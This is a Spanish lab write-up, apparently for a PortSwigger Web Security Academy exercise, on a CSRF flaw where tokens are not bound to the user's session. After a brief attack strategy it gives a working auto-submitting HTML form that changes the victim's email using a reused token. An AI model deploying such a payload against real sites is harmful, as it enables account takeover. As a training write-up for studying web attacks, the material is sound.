> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/csrf/csrf-token-not-tied-to-session.md).

# CSRF con token no vinculado a la sesión

### CSRF donde el token no está vinculado a la sesión del usuario

#### Objetivo del laboratorio

Cambia la dirección de correo electrónico de la víctima mediante un ataque CSRF. La aplicación usa tokens CSRF, pero no están **vinculados a la sesión del usuario**.

#### Observaciones

Cada token CSRF es **válido solo una vez**.

<figure><img src="/files/b32635826f58cd67eb3976056f7781a8c1f119d6" alt=""><figcaption></figcaption></figure>

* Los tokens **no están asociados a la sesión**: un token obtenido con el usuario A puede usarse para atacar a B.

<figure><img src="/files/97ec54f6980830dbdc9a10719a472b92dca13720" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fe1f5f5ac61684798a0f75fb608a4e030c1da61c" alt=""><figcaption></figcaption></figure>

#### Estrategia operativa

1. **Obtener un nuevo token CSRF** sin usarlo (interceptar una nueva solicitud para obtener un token que siga siendo válido).
2. **Alojar un formulario malicioso** en el servidor de explotación que envía una solicitud POST para cambiar la dirección de correo electrónico reutilizando **este token**.
3. Cuando la víctima visite la página trampa, el formulario se enviará automáticamente y **modificará su dirección de correo electrónico**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


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